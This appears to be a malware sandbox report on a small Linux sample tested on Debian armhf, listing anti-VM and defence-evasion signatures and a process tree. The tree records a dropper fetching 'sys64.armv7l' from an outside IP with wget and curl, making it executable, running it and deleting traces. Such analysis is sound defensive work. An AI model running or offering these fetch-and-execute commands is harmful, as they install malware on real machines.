Overview

overview

7

Static

static

1

d

ubuntu-18.04-amd64

7

d

debian-9-armhf

7

d

debian-9-mips

d

debian-9-mipsel

Analysis

  • max time kernel
    1s
  • max time network
    2s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    11/08/2026, 12:27

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General

  • Target
    d
  • Size 6KB
  • Sample260811-pmsdysec77
  • SHA256 cf09ea779b3c7691b497130bb98e83ff94efe6cd5173f26cd9c74be7d48c5651
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
7/10
antivmdefense_evasiondiscovery

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 2 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/d
    /tmp/d
    1⤵
    • Executes dropped EXE
    PID:651
    • /bin/uname
      uname -s
      2⤵
        PID:653
      • /bin/uname
        uname -m
        2⤵
          PID:655
        • /bin/rm
          rm -rf sys64.armv7l
          2⤵
            PID:658
          • /usr/bin/wget
            wget http://62.84.172.106/sys64.armv7l
            2⤵
              PID:660
            • /usr/bin/curl
              curl -O --connect-timeout 10 http://62.84.172.106/sys64.armv7l
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • Writes file to tmp directory
              PID:678
            • /bin/chmod
              chmod +x sys64.armv7l
              2⤵
              • File and Directory Permissions Modification
              PID:683
            • /tmp/sys64.armv7l
              ./sys64.armv7l ye
              2⤵
                PID:684
              • /bin/sh
                /bin/sh ./sys64.armv7l ye
                2⤵
                  PID:684
                • /bin/rm
                  rm -f sys64.armv7l
                  2⤵
                    PID:685
                  • /bin/rm
                    /bin/rm /tmp/d
                    2⤵
                      PID:686

                  Network

                        MITRE ATT&CK Enterprise v16

                        Replay Monitor

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                        Downloads

                        sys64.armv7l
                        • Path /tmp/sys64.armv7l
                        • Size 162B
                        • SHA256 766c1d6bcb81d3e983fb7adbc19c616d7fc01dafb7893738edc242e2adc59c07
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download